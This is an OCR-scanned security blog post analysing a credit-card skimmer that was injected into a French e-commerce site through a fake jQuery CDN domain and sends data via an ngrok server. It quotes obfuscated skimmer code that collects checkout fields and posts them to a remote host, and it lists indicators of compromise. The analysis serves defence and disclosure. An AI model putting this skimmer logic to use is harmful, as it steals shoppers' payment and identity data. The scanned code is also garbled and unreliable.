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Threat actors love to abuse legitimate brands and infrastructure—this, we know. Last year we exposed how web
skimmers had found their way onto Amazon’s Cloudfront content delivery network (CDN) via insecure S3
buckets. Now, we discovered scammers pretending to be CDNs while exfiltrating data and hiding their tracks—

another reason to keep watchful eye on third-party content.

Sometimes, what looks like a CDN may turn out to be anything but. Using lookalike domains is nothing new
among malware authors. One trend we see a fair bit with web skimmers in particular is domains that mimic
Google Analytics: Practically all websites use this service for their ranking and statistics, so it makes for credible

copyecats.

In the latest case, we caught scammers using two different domains pretending to be a CDN. While typically the
second piece of the infrastructure is used for data exfiltration, it only acts as an intermediary that attempts to hide

the actual exfiltration server.

Oddly, the crooks decided to use a local web server exposed to the Internet via the free ngrok service—a reverse
proxy software that creates secure tunnels—to collect the stolen data. This combination of tricks and technologies

shows us that fraudsters can devise custom schemes in an attempt to evade detection.
Inspecting code for unauthorized third-parties

We identified suspicious code on the website for a popular Parisian boutique store. However, to the naked eye, the

script in question looks just like another jQuery library loaded from a third-party CDN.
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<script src="//cdn-sources.org/jguery.unveil.js"></script>

Styles »
<style type="text/css">#header .col-xs-12:nth-child(1) DIV {top:px!important;bottom:18px!important;}</style>
. -
<style type="text/css"».cart-franco{display:none;}</style> thov .cls
<style type="text/css"».cart-sidebar-checkout-button.fleux-button{display:none!important;}</style> element
html.js.no-touch.localstorage.ready.load  body.calliweb-wysiwyghp-index-index style {
T
|cdn—sources.org 1of1 | ~lv | Cancel styles -

Although the domain name (cdn-sources|.]org) alludes to a CDN, and unveil.js is a legitimate library, a quick look

at the content shows some inconsistencies. There should not be fields looking for a credit card number for this
kind of plugin.
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* jQuery Unveil

* A very lightweight jQuery plugin to lazy load images

* http://luis-almeida.github.com/unveil

* Licensed under the MIT license.

® Copyright 2013 Luiff’A,As Almeida

* https://github.com/luis-almeida
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[*input,\x2@select’, "'removelttr’, 'html®, ‘get’, "POST", "input', ' Ly9jIG4tbliVkaWFmakixlcySvemevY2FjatlUucGhw' | "&target=","*
[onclick~=\x22payment.save()'\x22]"', "data=", "host', "#cc_cid data", "stringity’, ‘undetined’, "<li>
<label\x28for=\x22payment: cc_number‘\x22><em>*<.-"emf label»<divix2@class="x22input-box\x22>
<input'\x28style="x22border:1px\x2@s0lid\x20#8c8cBc; \x22\x28type="x22text \x22\x201id="x22payment: cc_number\x22\x28name="%22p
ayment[cc_number]\x22\x20title=\x22Credit\x20Card \x28Number\x22\x2@class=\x22input-text\x2@validate-cc-
number\x22'\x2@value='\x224\x22\x2@autocomplete="\x220ff\x22></divs</1ir<lir<labelx2@for=\x22billing:expiration_date\x22>
<em>*</em>Expiration’\x20Date</label»<divix20class=\x22input-box\x22><divix28class=\x22v-fix\x22>
<select\x28id=\x22payment:cc_sxp_month'x22\x28name="x22payment[cc_exp_month]\x22\x28class="x22month\x2@validate-cc-
exp\x22\x28autocomplete="x220ff\x22><option\x28value="x22 %22 \x2@selected="x22zelected\x22Month</option>
<optionix2@value="x221'x22>@1</option><option’x2@value="\x222\x22>@2</optionr<option’x28value="%223\x22>83</option>
<option‘x2@value="x224'x22>04</optionr<optionix20value=\x225x22>@5</optionr<optionx28value="%x226'\x22>06</option>
<optionix2@value="\x227'x22>87</option><optionx20value=\x228"\x22>08</option><optionx28value="%22%'\x22>8%< /option>
<option\x2@value="x221@\x22>18</option><optionix20value=x2211'\x22>11</option><optiontx2@value=\x2212x22>12</option>
</select></divr<divix2@class="x22v-Fix\x22>
<select'\x20id=\x22payment:cc_exp_year\x22\x2@name=\x22payment[cc_exp_year]'\x22\x28class=\x22year\x22\x20autocomplete="%220
ff\x22><option\x2@value="x22'\x22\x2@selected="n22selected\x22>Year</option»<option\x2@value="%222018"\x22>2818</option>
<option\x2@value="\x222819\x22>2819</option><option\x28value=\x222028\x22>2828</option>
<option\x2@value='\x222821\x22>2821</option><option\x28value=\x222022\x22>2822</option>
<option\x2@value='\x222823\x22>2823</option><option\x28value=\x222024\x22>2824</option>
<option\x2@value='\x222825\x22>2825</option><option\x28value=\x222026\x22>2826</option>
<option‘\x2@value=\x222027\x22>2027</option><option\x2@value=\x222028\x22>2828</option>
<option‘\x2@value="x222029\x22>2029</option></select></div></div></li><br><br»<lir<label‘\x2@for=\x22payment:cc_cid\x22>
<em>*</em>Card\x2@Verificationix2@Number</label><divix2@class="x22input-box\x22><divix28class="x22v-Fix\x22>
<input\x28style=\x2Zborder:lpxix28s0lid\x20#8cBclc; \x22\x20type="x22text \x22 \x20title=\x22Card \x20Verification x26Numberix
22'x28class=\x22input-textix2@cvvix2@validate-cc-
cwnlx22'\x20id=\x22cc_cid_data\x22\x28name="\x22payment[cc_cid]\x22'\x20value=\x22\x22 \x28autocomplete="x220ff\x22></div>
</divr</1ix", 'disabled’, *click’, 'ready’, '#checkout-step-payment'\x26.checkout-step-header\x20. checkout-step-
instruction’, 'value', 'select’, 'name’, "each’]; (function(_©x1f223e, ex8cadfb){var _e@x516985=function{_8x39368b){while(--
0x39368b){ @x1f223e[ 'push'1( @x1f223e['shift'1(1);}}: ©x516985(++ @x8cadfh) i} @x1503,@x1c3) ) var v

To clear any doubts, we decided to check an archived copy of the site and compared it with a live snapshot. We
can indeed see that this script did not exist just a couple of weeks prior. Either it was added by the site owner, or in

this case, injected by attackers.
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available for it. Please make necessary changes in your shipping address.™:"Vous ne pouvez pas
continuer votre commande car aucun mode de livraison n'est disponible pour votre
adresse."”,"Please specify shipping method.":"Choisissez un mode de livraison.”,”Your order cannot
be completed at this time as there is no payment methods available for it.":"Wous ne pouvez pas
continuer votre commande car aucun mode de paiement n'est disponible.”,"Please specify payment
method.":"Choisissez un mode de paiement."});
f#]]1»</script><!--13a572c2db4a29b05e1b572e27ae5bd3- - >
<!-- Start of Zendesk Widget script --»>
<script id="ze-snippet”
src="https://web.archive.org/web/20308383224885]s_/https://static.zdassets.com/ekr/snippet.js?
key=487fae4b-d968-4373-be64-68184502F3f8"> </ /scripts

<!-- End of Zendesk Widget script --»</head>
LIVE CAPTURE
C @ view-source:https://www Wt ™ e :
avallable tor it. Please make necessary changes in your shipping addressz.”:"VWous ne pouveIi pas

continuer votre commande car aucun mode de livraison n'est disponible pour votre

adresse."”,"Please specify shipping method.":"Cheisissez un mode de livraison.”,"Your order cannot

be completed at this time as there is no payment methods available for it.":"Vous ne pouvez pas

continuer votre commands car aucun mode de paiement n'est disponible.”,"Please specify payment

method.":"Choisissez un mode de paiement."});
//1]»</script><!--13a572c2db4a20b@5e1b572227ae5bd3--2>

<!-- Start of Zendesk Widget script --»

<script id="ze-snippet” src="https://static.zdassets.com/ekr/snippet.js?key=487fac4b-d965-4373-

be64-60184502F3F8" > «/scripts

<!-- End of Zendesk Widget script --:<script src="//cdn-sources.org/jquery.unveil.js">

</scriptr</head>
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The script checks for the current URL in the address bar and if it matches with that of a checkout page, it begins
collecting form data. This typically includes the shopper’s name, address, email, phone number, and credit card

information.

38 function onestepcheckout_payment() {

39 var _@x5a3473 = {}, _@xlleeabh, _08x4b4785, _Bx5bb25a3 = atob(_@x256c( '@xf')), _8x224224 = encodelURIComponent(
48 JQuery(_@x256c( 'ax9" )} ) [_ew256c( '8x8" ) J{Ffunction() {

41 _@xlZesab = (_@x5a3473[this[_@x256c('@x7'}1] == "' || _0x523473[this[_@x256c{'@x7')]1] == 'undefined' ||
42 if {_@wl2eesb) {

43 _@x5a3473[this[_@x256c('Bx7"')]] = this[_Bx256c( @x5')];

44 return !!1[];

45 i

46 _Bx5a3473[this['1id"]] = this['value']; v Local

47 Hi b _Bx533473; {checkout_method:; "register”, form_key
43 _9x4bd785 = encodeURIComponent{btoa{unescape(encodelURI( 0xllesab: true

45 JQuery[_8x256c( "dxc" ) ]1{_exSbb25a, function{_&x38ebfl) { —;j N p:: e

5B JQueryl'ajax' 161 .>.4-4?:--. undefipned —

51 'url': atob(_@x36ebfl), [_Q)ZESL'Q:!E: 1-me:'_a'F'_les.Dl“g_.-‘came.pl's"]

52 ‘whrfields's { JLEE e s S T Wl

53 'withCredentials': !![] » this: button.f -button.checkout-payment-button
54 Fs

55 "type': _Bx256c('@xd"),

56 ‘data': _@x256c{'@xl12') + _Ox4b4785 + _Ox256c('Ox1@') + _@x224224

57 Il

58 s

59}

Data exfiltration via ngrok server

Once this data is collected, the skimmer will exfiltrate it to a remote location. Here, we see yet another CDN
lookalike in cdn-mediafiles|.]org. However, after checking the network traffic, we noticed this is not the actual
exfiltration domain, but simply an intermediary.

GET https://cdn-mediafiles.org/cache.php HTTP/1.1 Host: cdn-mediafiles.org Connection: keep-alive Ac

Instead, the GET request returns a Base64 encoded response. This string, which was already present in the original

skimmer script, decodes to //d68344fb.ngrok[.]Jio/ad.php which turns out to be the actual exfiltration server.
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hitps+//d683441b.ngrok.io/ ad.php] (== =]

1 Request | ! Respaonse | [El properties |

| Headers | TextView I SyntaxView | WebForms |Hex'u"|ew | Auth I Cookies I Raw | 150N I ML |

MName
data
target :
TextWizard [2540 == 1905 chars] =)
[ EEE TUEETE T— N — N —— _—— = o O EETEE — N o o
] | | |

=

Transform: [] View bytes Encodings... Save Qutput: As Session To File... [ Send output to input Fs ]

{"checkout_method™: "register”,“form_key™:" I " "loginfusemame]™ ™ "legin[password]™: ™, "biling[address_id]":™, "biling -
lgender]™"1" "biling[gender]-2":"2" "biling[firstname]™" " " "bilingflastname]™. "I, "biling[company ™" " "billing

[email":" S ”,"biling[customer_password]™ I ~,"biling[confirm_password]™: I " “biling[day]":" T, "billing
[month]™ "™ "biling[year]"™ " "biling[dob]™:™ " "biling[streef][™:" " "billing: street2™ ™ "biling[city]":" " "billing

[postcode]™ ", "biling[country_i]™: T, "biling[telephone]™:" I, "biling[region_id]™:™, "biling[regicn] ™™, "shipping

[save_in_address book]™™1" "shipping[same_as_biling]";"1" "shippingladdress_i]";™ "shipping[firstname]™. "fghfghg", "shipping

Dzstname]™ ", "shippinglcompany ] "I, “shippinglstreet][™:" ", "shipping:street2™:™ “shipping[city]™" '\ "ehipping

[posteode]™ = " "shipping[country_id]™ ™ “shipping[telephone]™" " "shipping[regicn_id]":™ "shipping

[region]™: ™ ™:"1" "shipping_methcd™:"owebiashipping2_domicile_fr" "s_method_owebiashipping3_express_classic™:"owebiashipping3_express_classic™ "
5_method_cwebiashippingd _point_relais™ "owebiashippingd_point_relais” "s_method_storepickup_storepickup®:"storepickup_storepickup”, "payment
[cc_number]™:" ""paymentfcc_exp_menth]™" © "paymentjcc_exp_year]™ "0, "payment[cc_cid]™ "I, "payment

[methed]™ "paypal_express” "p_method_adyen_hpp_amex™"adyen_hpp_amex™ "p_methed_adyen_hpp_mc™ "adyen_hpp_mc™,"p_method_adyen_hpp_wvi
sa™"adyen_hpp_visa™,"p_method_adyen_hpp_maestro™"adyen_hpp_maestro” "agreement

[17™"1" "is_subscribed™"1" “famity_name™: ™ "name":™ "first_name™:™ "emai":™ “dob[day]™ ™ "dob[month]™ ™ "dob
L',raar]":"","aclclress‘:",‘address?:",‘zip_code‘:",'dty’:"","oountrf:"","teiephone":""ﬂ il

Ngrok is software that can expose a local machine to the outside as if it was an external server. Users can create a

free account and get a public URL. Crooks have abused ngrok to exfiltrate credit card data before.

To summarize, the compromised e-commerce site loads a skimmer from a domain made to look like a CDN. Data

is collected when a shopper is about to make a payment and sent to a custom ngrok server after a simple redirect.

PROTOCOL  HOST URL BODY

HTTPS WWW_mmam.com /checkout/cart/ 113,365 e-commerce site
HTTPS cdn-sources.org /jquery.unveil.js 4,781 skimmer

HTTPS cdn-mediafiles.org  /cache.php 36 intermediary redirect
HTTPS d68344fb.ngrok.io  /ad.php 3 exfiltration gate

The above view is simplified, only keeping the key elements responsible for the skimming activity. In practice,
network captures will contain hundreds more sequences that will make it more difficult to isolate the actual

malicious activity.

Blocking and reporting

We caught this campaign early on, and at the time only a handful of sites had been injected with the skimmer. We

reported it to the affected parties while also making sure that Malwarebytes users were protected against it.
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3 LIVRAISON 4 PAIEMENT MON PANIER I article
{3 Slt)él\gse Face PM - Madam 35’90 £

Sous-total 35,90 €

DEJA CLIENT ? TVA 5.98 €
TOTAL FINALTTC 35,90 €

Connectez-vous en saisissant vos identifiants.

WOTRE ADRESSE EMAIL

RETCURS FACILES

sur tous les produits

MOT DE PASSE . 5
PAIEMENT SECURISE

*> VALIDER & CONTINUER ol ®alwarebytes | Premium X

/" Website blocked due to riskware

Learn about niskware. If you don't want to block this website, you
can exclude it from website protection by accessing Exclusions.

Domain: cdn-sources.org

IP Address: 10431913

Port: 443

Type: Outbound

File: CAUsersh VAppData.. \Application\chrome.exe

Manage Exclusinns] Close

Threat actors know they typically have a small window of opportunity before their infrastructure gets detected and
possibly shutdown. They can devise clever tricks to mask their activity in addition to using domains that are either

fresh or belong to legitimate (but abused) owners.

While these breaches hurt the reputation of online merchants, customers also suffer the consequences of a hack.

Not only do they have to go through the hassle of getting new credit cards, their identities are stolen as well,

opening the door to future phishing attacks and impersonation attempts.
Indicators of Compromise

Web skimmer domain

cdn-sources[.]Jorg

Web skimmer scripts

cdn-sources[.]Jorg/jquery.unveil.js
cdn-sources[.]Jorg/adrum-4.4.3.717.js
cdn-sources[.]org/jquery.social.share.2.2.min.js
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Redirect

cdn-mediafiles[.Jorg/cache.php

Exfiltration URL

d68344fb.ngrok[.]io/ad.php

Source: https://blog.malwarebytes.com/threat-analysis/2020/02/fraudsters-cloak-credit-card-skimmer-with-fake-content-delivery-network-ngro

k-server/
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